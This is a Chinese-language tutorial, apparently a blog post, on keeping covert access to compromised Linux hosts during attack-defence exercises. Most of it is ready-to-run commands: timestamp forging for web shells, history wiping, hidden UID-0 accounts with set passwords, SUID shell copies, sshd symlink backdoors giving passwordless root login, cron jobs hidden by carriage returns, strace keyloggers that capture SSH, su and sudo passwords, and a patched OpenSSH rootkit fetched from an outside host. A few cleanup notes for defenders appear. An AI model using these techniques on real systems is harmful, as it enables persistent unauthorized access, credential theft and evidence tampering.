对于Linux,删除用户的时候,有时候会报各种错误导致无法删除。
可以尝试以下方法:
切换到root用户,
执行命令 “ userdel -rf 想删除的用户名 ”
如“ userdel -rf test ”
之后在尝试“ su test ”,
返回“ No passwd entry for user 'test' ”则说明删除成功。
除此之外,假设想给某个用户sudo权限,直接命令:
sudo usermod -aG sudo test(对应的用户名)
命令如下:
grep 'x:0:' /etc/passwd
grep root /etc/group
hvv中,很多蓝队首先会根据文件的修改时间来判断文件是否含有后门。
假设原本的文件大多时间都为20年,新上传的木马是22年的,肯定会被优先针对。
可以通过以下命令来复制文件的时间属性:
touch -r index.php shell.php
实验如下:
原本存在文件1.php 然后正常建立文件2.php
在复制1.php文件属性来建立3.php,效果还是很明显的。
touch命令⽤于修改⽂件或者⽬录的时间属性,包括存取时间和更改时间。
若⽂件不存在,系统会建⽴⼀个新的⽂件。
在Linux中,使⽤chattr命令来防⽌root和其他管理⽤户误删除和修改重要⽂件及⽬录,
此权限⽤ls -l是查看不出来的,从⽽达到隐藏权限的⽬的。
chattr +i evil.php #锁定⽂件
rm -rf evil.php #提示禁⽌删除
lsattr evil.php #属性查看
chattr -i evil.php #解除锁定
rm -rf evil.php #彻底删除⽂件
在Linux之中,存在history,可以记录我们执行的命令。
在shell中执⾏的命令,不希望被记录在命令⾏历史中,如何开启⽆痕操作模式呢?
技巧⼀:只针对你的⼯作关闭历史记录
[space]set +o history
#备注:[space]表示空格。并且由于空格的缘故,该命令本身也不会被记录
注意的是:
上⾯的命令会临时禁⽤历史功能,这意味着在这命令之后你执⾏的所有操作都不会记录到历史中,
然⽽这个命令之前的所有东⻄都会原样记录在历史列表中。
经过上述操作,反而“ 此地无银三百两 ”,别急接着来补救。
使用命令“ history -d 编号 ”
再次使用命令“[space]set -o history”恢复命令的记录。
技巧二:删除指定/批量历史记录
有时候我们想要看看,历史有没有一些敏感的命令,可以使用以下命令来筛选
history | grep "关键词"
删除指定命令,上边已经说过,
history -d 编号
但是这种删除还是比较费事,可以选择批量删除,
比如只保留前2⾏,注意该命令经过测试仅root用户可以操作,且修改的是root用户的历史记录
sed -i '2,$d' .bash_history 、、这个是在/root目录下
对于非root用户可以试试以下命令,笔者在测试的时候发现自己的非root用户下该文件内容为空。
sed -i '2,$d' /home/当前用户/.bash_history
/etc/passwd各部分含义:
⽤户名:密码:⽤户ID:组ID:身份描述:⽤户的家⽬录:⽤户登录后所使⽤的SHELL
/etc/shadow各部分含义:
⽤户名:密码的MD5加密值:⾃系统使⽤以来⼝令被修改的天数:⼝令的最⼩修改间隔:⼝令更改的周期:
⼝令失效的天数:⼝令失效以后帐号会被锁定多少天:⽤户帐号到期时间:保留字段尚未使⽤
通过修改/etc/passwd添加用户的具体操作参考:
https://blog.csdn.net/weixin_43970718/article/details/117446065
、、其中的 “ 4.1.8 ”
⼀些系统中,存放着加密后的⽤户⼝令字。虽然这个字段存放的只是⽤户⼝令的加密串,不是明⽂,
但是由于/etc/passwd⽂件对所有⽤户都可读,所以这仍是⼀个安全隐患。
因此,现在许多Linux系统(如SVR4)都使⽤了shadow技术,
把真正的加密后的⽤户⼝令字存放到/etc/shadow⽂件中,
⽽在/etc/passwd⽂件的⼝令字段中只存放⼀个特殊的字符,例如“x”或者“*”。
另外注意的是:
这种通过直接修改passwd仅仅适用于低版本的Linux。
高版本的是无法这么操作的,但是实战之中仍然建议试试,万一成功了呢。
低版本的passwd也可以存在*或者x,仍然可以尝试通过修改passwd来添加账户。
这里在进行补充一些知识:
在Linux中一般我们安装了一些新的服务后,都会新建一个用户,
这些用户不能用SSH来登录,但是可以使用系统资源。
比如我们安装了一个MySQL,就会出现mysql用户(服务账户),
但是这个用户不能登录,当然我们可以也可以启用这些账户。
Unix/Linux系统下的nobody用户与nologin详细介绍:
https://www.yisu.com/zixun/156143.html
启用nologin用户:
https://cloud.tencent.com/developer/article/1663326
=========手动分割----------------------------
UID=0是最高权限的用户,有时候不能被远程登录,可以创建一个普通用户。
正常可以通过 “id” 来查看当前的用户的UID,
了解了上述,我们就可以根据不同的情况来增加系统的账户了。
假设低版本的话直接参考 下边链接的“ 4.1.8 ”
https://blog.csdn.net/weixin_43970718/article/details/117446065
假设是高版本的话,先修改/etc/passwd的内容,在设置对应账户的密码
echo "cshm:x:0:0::/:/bin/sh" >> /etc/passwd
#增加超级⽤户账号
passwd cshm
#修改cshm的密码
这个时候我们就可以创建一个普通的用户,先修改/etc/passwd的内容,在设置对应账户的密码
echo "xbb:x:1000:1000::/:/bin/sh" >> /etc/passwd
#增加普通⽤户账号
passwd xbb
#修改wxg的密码为xbb123456
如何设置不允许root账户远程登录,可以参考:
https://www.cnblogs.com/binblogs/p/5201307.html
useradd wxg -u 0 -o -g root -G root|| echo "123456" | passwd --stdin wxg
#创建账户wxg、密码123456且为root权限
注意,上述命令需要执行2次
在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:
也得执行两次。且需要root用户执行,sudo执行也会失败。
sudo useradd wxg -u 0 -o -g root -G root || echo wxg:123456 | chpasswd
#创建账户wxg、密码123456且为root权限
useradd test
echo "123456" | passwd --stdin test
、、在Ubuntu的一些版本中没有–-stdin,使用上述命令该密码会报错,可以使用下边这条语句:
echo test:123456 | chpasswd
useradd -u 0 -o -g root -G root user |echo -e "1qazwsx2wsx\n1qazwsx2wsx"|passwd user
、、该命令也得执行2次。且需要root用户执行,sudo执行也会失败。
、、该命令创建用户名称为“ user ”密码为“ 1qazwsx2wsx ”
当⼀个⽂件所属主的x标志位s(set uid简称suid)时,且所属主为root时,
当执⾏该⽂件时,其实是以root身份执⾏的。必要条件:
1、SUID权限仅对⼆进制程序有效。
2、执⾏者(当前用户)对于该程序需要具有x(可执⾏)权限
3、本权限(suid权限)仅在执⾏该程序的过程中有效
4、在执⾏过程中执⾏者将具有该程序拥有者的权限
实验:
使用root用户执行以下命令,来模拟正常用户不小心造成的漏洞利用环境
cp /bin/bash /tmp/.woot
chmod 4755 /tmp/.woot 、、这个权限主要是前边的“4”,后边的也可以设置为“ 777 ”
ls -al /tmp/.woot 、、这个名字加个“.”起到隐藏的作用,可以设置为其他的
此时可以看到该文件前边带“ s ”,且整个文件存在“ 红底 ”。
此时在使用root用户创建一个普通用户,
useradd test
su test
然后直接执行,
/tmp/.woot
这里似乎是翻车了。再次补充一些知识:
/bin/bash针对suid有⼀些护卫的措施,使⽤-p参数来获取⼀个root shell
我们在试试
/tmp/.woot -p
实战之中快速查找具有suid权限的⽂件:
find / -perm +4000 -ls
find / -perm -u=s -type f 2>/dev/null
在攻击机器上执行命令“ sudo ssh-keygen -t rsa ”,然后一路回车。
生成两个文件,
/root/.ssh/id_rsa 、、私钥
/root/.ssh/id_rsa.pub 、、公钥
接着执行下边这个语句,输入目标机器root的账户密码。
“ ssh-copy-id -i id_rsa.pub 远程服务器IP ”
、、具体如下图,这容易出问题(没问题最好),下边有解释
在之后直接输入“ ssh 目标机器的IP ”即可直接连接。
在操作将公钥复制到目标机器提示输出root密码的时候,输入正确的密码仍然提示不对。
出现这种问题,首先可以试试正常的能不能使用root远程登录。
直接 “ ssh [email protected] ”然后输入正确的密码也不能登录的话,就可以按照下边的先修改。
sudo vim /etc/ssh/sshd_config
按一下“ esc ”在“:”后输入“ set nu ”调出文件的行数,
找到PermitRootLogin,将后边的prohibit-password改为“ yes ”;同时将最前边的“ # ”给去掉。
、、大约在33行。
修改完毕之后,保存退出,
执行命令“ sudo service ssh restart ”,来重启 ssh 服务。
然后再次执行命令“ ssh [email protected] ”即可连接。
对于防守方的同学来说,也比较好解决。直接删除“ /root/.ssh/authorized_keys ”文件即可。
rm -rf /root/.ssh/authorized_keys
注意的是,假设当前机器已经被同步了公钥的话,
在将“ /etc/ssh/sshd_config ”文件的33行添加注释也不能阻止对方使用私钥连接。
ssh配置中开启了PAM进行身份验证
查看是否使用PAM进行身份验证:cat /etc/ssh/sshd_config|grep UsePAM
、、 返回 “ UsePAM yes ” 则说明开启了PAM进行身份验证
、、这个PAM是默认开启的
root用户要可以远程登陆
参考 ” 4.2 “节的内容
云环境的机器很多端口都是默认被拦截的,不能对外开放,
具体解决办法,见 “ 5.1、直接利用 ”的“ 问题一 ".
受害者机器直接执行以下命令(当前权限为root):
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=25566
、、这个端口是任意的,其格式为:
ln -sf /usr/sbin/sshd /路径名/su; /路径名/su -oPort=端口号
然后在攻击机器直接执行:
ssh root@x.x.x.x -p 25566
密码任意输入,即可直接登陆。
问题一:
有的同学在目标机器添加完软连接,使用攻击机器登陆会出现“ SSH链接超时的情况 ”
这种一般去看看系统有没有开启防火墙,开启的话直接关闭。
第二个云服务器的话,看看是不是做了入口限制。笔者在做对应实验的时候就是这种情况。
pam_rootok.so模块
凡是有“pam_rootok.so模块”的程序,root用户(uid=0)都可以无需密码认证直接使用。
比如“ su ”程序,
root用户使用该程序是无需任何密码认证;别的用户使用都需要密码验证成功后在使用。
除了“ su ”程序,在文件夹“ /etc/pam.d ”下还有别的程序,可以使用命令以下命令进行筛选,
、、这有一个问题,为什么筛选“ /etc/pam.d ”文件夹下的,而不筛选其他的,下边在解释。
find /etc/pam.d|xargs grep "pam_rootok"
得到这些程序也使用了“pam_rootok.so”模块; 、、root用户都可以免密使用。
、、注意:这些文件不同的系统可能会有略微的差别
/etc/pam.d/chsh
/etc/pam.d/chfn
/etc/pam.d/su
/etc/pam.d/runuser
可以看看/etc/pam.d/su文件内包含配置“ auth sufficient pam_rootok.so ”
PAM认证机制
以下内容为笔者理解,如有问题,欢迎各位大佬补充。
若sshd服务中开启了PAM认证机制(默认开启),当程序执行时,
PAM模块则会搜寻PAM相关设定文件,设定文件一般是在/etc/pam.d/。
、、这也是为什么上边我们在文件夹“ /etc/pam.d ”下搜索含有“pam_rootok.so模块”的程序。
这里做一个假设:
假设ssh服务的配置文件是“ /etc/pam.d ”下含有“pam_rootok.so模块”的程序时。
我们使用root用户就可以进行“免密”行为。即直接连接上SSH。
现在我们的目的就是:
如何让ssh服务的配置文件去加载“ /etc/pam.d ”下含有“pam_rootok.so模块”的程序
因为这样,我们使用root用户进行ssh认证的话,就不用密码了。
在看看建立的软连接后门与SSH链接命令:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234
ssh root@x.x.x.x -p 1234
即我们使用1234端口进行ssh链接,应该在链接的时候就会去找配置文件,
因为我们的软连接是“ /tmp/su ”,则加载的配置文件就是“ /etc/pam.d/su ”
、、这一步的具体原因不详
而这个“ /etc/pam.d/su ”是有“pam_rootok.so模块”的程序,即root用户可以免密使用。
最终达到上边的假设,实现无密登陆。
一些程序含有特殊的属性,导致root用户使用不需要密码。
SSH登陆的时候,配置文件去加载上述这些特殊的程序。
即使用root用户登陆SSH无需密码。
了解原理之后,我们就可以稍微进行变通的去使用“ ssh软连接后门 ”
我们上边的利用语句为:
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oPort=25566
我们通过“ find /etc/pam.d|xargs grep "pam_rootok" ”得知还有很多程序可以使用,
、、注意:这些文件不同的系统可能会有略微的差别
/etc/pam.d/chsh
/etc/pam.d/chfn
/etc/pam.d/su
/etc/pam.d/runuser
我们也可以改为:
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oPort=25566
然后攻击机器直接,
ssh root@x.x.x.x -p 25566
这里的格式就变为:
ln -sf /usr/sbin/sshd /路径名/特殊程序; /路径名/特殊程序 -oPort=端口号
系统存在一个用户如xbb,只要是xbb可以通过SSH链接就行。
接着使用root用户创建软连接后门,这个必须是root用户:
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=25566
、、格式就参考“ 5.3.1 ”就行,这是其中一种。
这里正常是使用root用户就行链接:
ssh root@x.x.x.x -p 25566
、、密码任意
其实这里使用xbb登陆也行,直接:
ssh xbb@x.x.x.x -p 25566
、、密码任意
原理:
这个“ 软连接 ”的进程是root用户创建的,
所有其他的用户使用ssh登陆,都会被当做root用户去访问,
即别的用户也实现了免密登陆。
前提:
使用这个用户创建一个拥有“ pam_rootok.so模块 ”的程序:
echo "
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth
session include system-auth " >> /etc/pam.d/xbb
然后创建软连接后门:
ln -sf /usr/sbin/sshd /tmp/xbb;/tmp/xbb -oPort=25566
高Linux版本
仅仅可以使用“ ssh [email protected] -p 25566
”进行链接
低Linux版本
可以使用任意可以SSH登陆的用户“ssh 任意用户@x.x.x.x -p 25566
”进行链接
find /etc/pam.d|xargs grep "pam_rootok"
”看看哪些程序可以使用比如找到以下程序,先保存。
su
chfn
chsh
xbb
命令:netstat -anpt
比如找到:
这个进程号“ 7702 ”要保存一下。
使用命令ll /proc/7702
查看PID 7702所使用的程序,确认为ssh
命令“find -name su
”寻找,比如找到下边两个位置:
/usr/share/bash-completion/completions/su
/usr/local/su
然后使用命令“ll /usr/local/su
”看看是不是ssh的软连接,
确认了软连接后门,直接“rm -rf /usr/local/su
”。
这里切记不要在“ su ”后边加“ / ”不然就把ssh也删除了。
最后别忘了停止对应的进程,
kill -9 7702
进程不结束仅仅删除文件是没用的。
另外别忘了以类似的方式看看进程“ 7848 ”
这部分赖得自己截图,部分内容直接参考前辈文章:
https://blog.csdn.net/weixin_40412037/article/details/117447832
在找后门的这,最初的想法是。我们直接去找文件“ /usr/sbin/sshd ”有哪些软连接不就好了
然后经过实际的查找发现正常情况下,除了报错之外还有近50个对应的软连接。。。
命令:
find -type l -exec ls -l {} \;| grep '/usr/sbin/sshd'
如图是部分:
在Linux系统中,计划任务⼀般是由cron承担,我们可以把cron设置为开机时⾃动启动。
cron启动后,它会读取它的所有配置⽂件
(全局性配置⽂件/etc/crontab,以及每个⽤户的计划任务配置⽂件),
然后cron会根据命令和执⾏时间来按时来调⽤⼯作任务。
crontab命令用于定期执行某些设定好的任务,
crond命令每分钟都会定期检查是否有要执行的任务,如果有便会自动执行该任务。
若创建新的cron任务,并不会马上执行,一般过2分钟后才能够执行,或者可以重启cron马上执行。
crontab -l命令用于查看定时任务,实际是查看/var/spool/cron/crontabs/root文件
crontab -l的本质 == cat /var/spool/cron/crontabs/当前用户名称
(每个用户都会生成一个与自己同名的crontab文件位于/var/spool/cron/crontabs/中),
这样的话,我们就可以利用一下cat的⼀个缺陷,可以达到输入“ crontab -l ”显示没有计划任务的样子。
而事实上,计划任务仍然是新建完毕的。即“建立隐藏后门的文件”。
cron表达式在线⽣成: http://qqe2.com/cron
cat其实默认使⽤是⽀持⼀些⽐如
\r回⻋符
\n换⾏符
\f换⻚符、
也就是这些符号导致的能够隐藏命令。
新建一个后门文件: 、、当前路径为:/etc/aa
如“ vim bb.sh ”内容直接写以下语句:
whoami >> /etc/aa/cc.txt
\\真实环境可以是反弹shell的语句
\\这里注意,最好写脚本执行的绝对路径
给后门文件加执行权限
" chmod 777 "
添加计划任务
(crontab -l;printf "*/1 * * * * /etc/aa/bb.sh;\rno crontab for `whoami`%100c\n")|crontab -
该计划任务会每隔一分钟执行一次。
接着模拟正常用户来看看有没有计划任务
sudo cat /var/spool/cron/crontabs/用户名
或者是 crontab -l
都是无法看到真正的计划任务,红箭头就是隐藏的计划任务。
最后可以重启crond服务,使得马上生效
service crond restart
实际测试,Ubuntu是不需要此操作。
最后,看看成果:
查看完整的计划文件内容任务
sudo cat /var/spool/cron/crontabs/用户名 -A
或者是 crontab -e //按 ctrl + x;选择“no”退出
排查内容
删除对应的计划任务和对应的脚本文件。
~删除 “ /var/spool/cron/crontabs/用户名 ”的对应内容
~删除 对应的执行脚本。
strace是⼀个动态跟踪⼯具,它可以跟踪系统调⽤的执⾏。我们可以把他当成⼀个键盘记录的后⻔,
来扩⼤我们的信息收集范围,
通过其他⽅式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。
我们想要获取当前主机的密码,或者通过这台主机连接到其他主机的密码。
这里以” 记录sshd进程明⽂密码 “为例。
另外,经过笔者测试。以下内容使用root用户执行可以,使用别的用户不生效
。
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.xbb.txt &)
、、这个将明文密码保存到文件“ /tmp/.xbb.txt ”,位置和名字都是任意的。
这里注意的是,我们这不仅仅会记录正确的密码,错误的密码也会被记录
。
对于这种记录键盘的情况,“ strace ”进程一定会存在。
正常直接执行命令“ ps -ef | grep strace ”,查看对应的pid。
然后直接“kill 1595
”干掉该进程即可,之后在使用SSH登陆都不会被记录。
这里有一个问题是,在这之前我们记录的文件“ /tmp/.xbb.txt ”依旧存在。
且因为保存的路径和名称都是任意的,所以几乎无解,先去把SSH登陆用户的密码都修改了
。
、、如果有大佬知道欢迎补充。
这最开始的思路是使用命令“ps -ef”,因为该命令看到进行的时候,也会保留创建此进程的命令
但是,从上图我们的筛选结果来看,刚刚好不显示路径~~~
以下部分,笔者未实操,作为知识点补充吧。
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)
当⽤户通过私钥登录时,使⽤如下命令查看记录的私钥
grep 'PRIVATE KEY' /tmp/.sshd.log
我们还可以记录本机执⾏ssh、su等命令,这⾥以ssh为例修改alias
#添加命令
vi ~/.bashrc 或者 /etc/bashrc
alias ssh='strace -f -e trace=read,write -o /tmp/.ssh-`date '+%d%h%m%s'`.log -s 32 ssh'
#⽴即⽣效
source ~/.bashrc
#读取密码
执⾏以下命令,会在/tmp/⽬录下多个log,然后读取log中记录的密码
ssh 10.xx.xx.148 -l mysql
记录sudo、su的alias
alias sudo='strace -f -e trace=read,write -o /tmp/.sudo-`date '+%d%h%m%s'`.log -s 32 sudo'
alias su='strace -f -e trace=read,write -o /tmp/.su-`date '+%d%h%m%s'`.log -s 32 su'
利用openssh后门,设置SSH后门密码及root密码记录位置,隐蔽性较强,不易被发现。
但是这种方法相对来说,造成的“ 动静 ”很大。
在测试环境中,非root用户是失败的。
最后,该方式有可能会造成机器SSH无法登陆,谨慎!谨慎!
备份SSH配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
下载SSH配置文件:
可以使用wget下载到目标机器、或使用马上传。
官方安装包:openssh-5.9p1.tar.gz
https://mirrors.aliyun.com/pub/OpenBSD/OpenSSH/portable/openssh-5.9p1.tar.gz
后门安装包:5.9p1.patch.tar.gz
http://core.ipsecs.com/rootkit/patch-to-hack/0x06-openssh-5.9p1.patch.tar.gz
解压:
tar zxvf openssh-5.9p1.tar.gz
tar zxvf openssh-5.9p1.patch.tar.gz
复制patch后⻔⽂件到正常openssh⾥⾯:
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1/
在openssh-5.9p1中执行:
patch < sshbd5.9p1.diff
修改后门密码and文件记录: 、、在openssh-5.9p内
vim includes.h
、、下边的179行,远程后门的远程连接密码可以设置为任意自己喜欢的。
修改SSH版本信息一致,使其不易被发现。
查看当前系统的SSH系统版本,命令如下:
ssh -V
得到:OpenSSH_7.6p1 Ubuntu-4ubuntu0.5, OpenSSL 1.0.2n 7 Dec 2017
在修改" /openssh-5.9p1/version.h "
vim version.h
编译安装
首先对ssh里面的几个key的权限进行修改,否则可能进行编译的时候key不能修改而报错。
cd /etc/ssh
chmod 620 moduli
chmod 600 /etc/ssh/ssh_host_ed25519_key
chmod 600 /etc/ssh/ssh_host_ecdsa_key
chmod 600 /etc/ssh/ssh_host_rsa_key
chmod 600 /etc/ssh/ssh_host_ed25519_key
安装环境编译运⾏,在“ openssh-5.9p1 ”文件夹之中。
CentOs 7:
yum install -y openssl openssl-devel pam-devel zlib zlib-devel
./configure --prefix=/usr/ --sysconfdir=/etc/ssh/ --with-pam --with-kerberos5
make clean
make && make install
systemctl restart sshd.service
Ubuntu 16.04:
apt-get install -y openssl libssl-dev libpam0g-dev
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam
make clean
make && make install
/etc/init.d/ssh restart
后续有一些错误,在处理错误的时候,笔者将测试的环境搞崩了(无法通过SSH登录了)。
再次提醒,该方法成功后很难被发现,但是也有可能把目标机器搞崩。
且行且珍惜!
后续有时间在测试吧,具体的可以参考一些前辈的文章:
参考:
https://www.codeleading.com/article/43835892676/
http://hone.cool/2018/03/22/OpenSSH%E5%90%8E%E9%97%A8%E7%9A%84%E5%AE%89%E8%A3%85/
https://www.jianshu.com/p/c1cd73b072f1
https://bypass007.github.io/Emergency-Response-Notes/privilege/%E7%AC%AC4%E7%AF%87%EF%BC%9ALinux%E6%9D%83%E9%99%90%E7%BB%B4%E6%8C%81--%E5%90%8E%E9%97%A8%E7%AF%87.html